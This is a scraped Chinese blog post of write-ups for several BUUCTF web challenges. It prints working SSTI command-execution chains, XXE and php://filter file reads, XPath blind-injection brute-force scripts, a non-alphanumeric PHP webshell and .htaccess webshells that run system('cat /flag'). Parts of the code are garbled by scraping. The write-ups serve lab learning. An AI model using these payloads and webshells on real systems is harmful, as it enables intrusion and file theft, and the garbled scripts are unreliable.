BUUCTF(11.14

阅读: 评论:0

BUUCTF(11.14

BUUCTF(11.14

记:上周抽空刷的BUU题目,记录一下解题过程的同时与大家分享交流

[Zer0pts2020]Can you guess it?

一个查询页面,提交东西提示wrong

有个源码链接,我们点开看一下

<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>
<!doctype html>
<html lang="en"><head><meta charset="utf-8"><title>Can you guess it?</title></head><body><h1>Can you guess it?</h1><p>If your guess is correct, I'll give you the flag.</p><p><a href="?source">Source</a></p><hr>
<?php if (isset($message)) { ?><p><?= $message ?></p>
<?php } ?><form action="index.php" method="POST"><input type="text" name="guess"><input type="submit"></form></body>
</html>

看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问

:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)

我们看下代码
发现有个没见过的basename()函数

basename() 函数返回路径中的文件名部分。

括号里面的$_SERVER[‘PHP_SELF’]的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址

比如 p a t h 是 / v a r / w w w / h t m l / i n d e x . p h p , 那 么 ‘ b a s e n a m e ( path是/var/www/html/index.php,那么`basename( path是/var/www/html/index.php,那么‘basename(path);` 就是index.php

我们要想访问config,但是config.php被正则过滤了

本题目利用的是basename()漏洞

用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)

构造

/index.php/config.php/%ff?source

因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag

知识点:

php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量

[CSCCTF 2019 Qual]FlaskLight

一眼模板注入,F12看到变量名search,和GET

于是测试

?search={{7*7}}

执行了
于是我们

a. 获取变量[]所属的类名 {{[].class}}

    页面回显 <type 'list'>b. 获取list所继承的基类名 {{[].__class__.__base__}}页面回显 <type 'object'>c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}

经过查询后,可以借助的类<class ‘warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令

71位的payload

看目录

  {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
看看flasklight

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

app.py coomme_geeeett_youur_flek
肯定是长的那个,我们直接读取一下

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

但我试了没有成功不知道为啥
我们再看没含os的

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
    PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']b. 读取目录flasklight
          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls  /flasklight').read()")}}
cat
          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat  /flasklight/coomme_geeeett_youur_flek ').read()")}}

贴一个博客,感觉可以看出上面os模块的为啥不行

.html

[watevrCTF-2019]Cookie Store

进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下

回显

eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

base64解码一下

{"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}

可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2
发包解码出现flag

[RootersCTF2019]I_❤️_Flask

开局模板注入

由于不知道传参的变量名,所以利用了工具arjun来爆破url参数

爆破出来参数name

接下来就是

:81/?name={{7*7}}

回显49,说明可行

/?name={{().__class__.__bases__[0].__subclasses__()}}

进一步

name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

发现
直接cat

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('').read()")}}

BJDCTF2020]EzPHP

啥都没有看源码

 GFXEIM3YFZYGQ4A= 
base32解码
1nD3x.php

于是我们看下

<?php
highlight_file(__FILE__);
error_reporting(0); 
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} 
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

代码审计,可以看到过滤了好多东西
首先

f($_SERVER)

之前有过类似的题,可以通过url编码绕过

(preg_match(’/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)

限定了开头,我们可以换行符绕过

?debu=auqa_is_cute%0a

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这里变量覆盖漏洞,之前也做过类似的

同时GET和POST同一个参数就可以绕过

file_get_contents($file) !== 'debu_debu_aqua'

我们可以data协议绕过

sha1($shana) === sha1($passwd) && $shana != $passwd

数组绕过

看到这属实麻了,太多东西了不知道如何构造,看完payload后更乱了

[HarekazeCTF2019]encode_and_encode

源码

<?php
error_reporting(0);
if (isset($_GET['source'])) {show_source(__FILE__);exit();
}
function is_valid($str) {$banword = [// no path traversal'..',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];$content = file_get_contents($page);if (!$content || !is_valid($content)) {$content = "<p>not found</p>n";}
} else {$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

body获取post数据, 对body变量进行json解码判断body变量是否有效,json数据要有page
从page中读出文件名,并读取文件,检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过如果查到content里有相关的ctf字样,则用censored替代,最后输出

我们利用josn转义绕过,

{ "page" : "u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067"}

直接伪协议读取

[SUCTF 2018]GetShell

考察无字符的一句话木马

有个文件上传点和一串代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}     
} 

直接上传一句话,发现可以上传,但是检测非法字符
尝试很多次之后感觉把什么都给过滤了,考虑到是无字符过滤,之前看过一个博客讲的很详细

.html

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

于是我们可以编图片马

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

访问上传地点直接post
a=env出flag

[CSAWQual 2019]Web_Unagi

该 XML 文件并未包含任何关联的样式信息。文档树显示如下。 
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite</email>
<group>CSAW2019</group>
</user>
</users>

写个XML文件

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite</email>  <group>CSAW2019</group><intro>&xxe;</intro></user>
</users>

转换成utf-16编码绕过

 iconv -f utf8 -t l&l

上传1.xml即可

[NPUCTF2020]ezlogin

考察一个没见过的知识点xpath注入

一个登陆界面,奇怪的一点是一定时间内就让刷新页面登陆超时,推测登录的时候一个session只能存在一定的时间

我们抓包试一试

发现了比较奇怪的一段

<username>admin</username><password>admin</password><token>40021de56c0a2bc8386111891TYzNjg2</token>

这里参考博客.html

推测是xpath类型的注入

xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注

找到了网上有爆破脚本

import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"chars = string.ascii_letters+string.digitsdef get_csrf():res = (base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).textreturn re.findall('<input.*value="(.*?)"./>', res)[0]target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):for j in chars:time.sleep(0.2)temp_payload = payload.format(target=target, index=str(i), char=j)token = get_csrf()temp_data = data.format(username=temp_payload, token=token)res = session.post(url=base_url+'login.php',data=temp_data, headers=headers)# print(temp_data)# )# print())if ) == 5:result += jbreakprint(result)

上面这个不太好用

import requests
import re
s = requests.session()
url ='//login.php'head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =repile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.)#猜测根节点名称payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测子节点名称payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测accounts的节点payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测user节点payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#跑用户名和密码payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])print(payload_password)r = s.post(url=url,headers=head,data=payload_username))if "非法操作" :flag+=jprint(flag)breakif "用户名或密码错误!" :break
print(flag)

注意:爆破的时候要注释其他的payload
跑出来

<root><accounts><user><id></id><username>gtfly123</username><password>e10adc3949ba59abbe56e057f20f883e</password></user><user><id></id><username>adm1n</username><password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password></user></accounts>
</root>

密码MD5解密后就是gtfly123
进去看源码

ZmxhZyBpcyBpbiAvZmxhZwo=

BASE64解码

flag is in /flag

因为url里有file=,据此我们推测是否能有伪协议

?file=pHp://filter/convert.bASe64-encode/resource=/flag

测试大小写可以绕过
ZmxhZ3thYTA1MmYwMC1jYTg5LTRjYmYtOTExYS1jNmIyOTA4MjM5Yzh9Cg==

解码

flag{aa052f00-ca89-4cbf-911a-c6b2908239c8}

[羊城杯2020]easyphp

<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "nHello, world");
?>

看完源码,发现只有index.php能够被解析执行
根据这个条件,我们利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话

写入shell参考

先写入.htaccess

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess

再直接通过php://filter伪协议写入一句话

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

但上面方法我没有成功

方法二#

可以通过对过滤的关键字中间添加换行n来绕过stristr函数的检测,不过仍然需要注意添加来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell

?content=php_value%20auto_prepend_fil%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>&filename=.htaccess

flag{2cbbcf14-ca35-4676-a652-fe99370be983}

本文发布于:2024-02-03 06:09:28,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170691176649148.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:Artifactory笔记
标签:BUUCTF
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23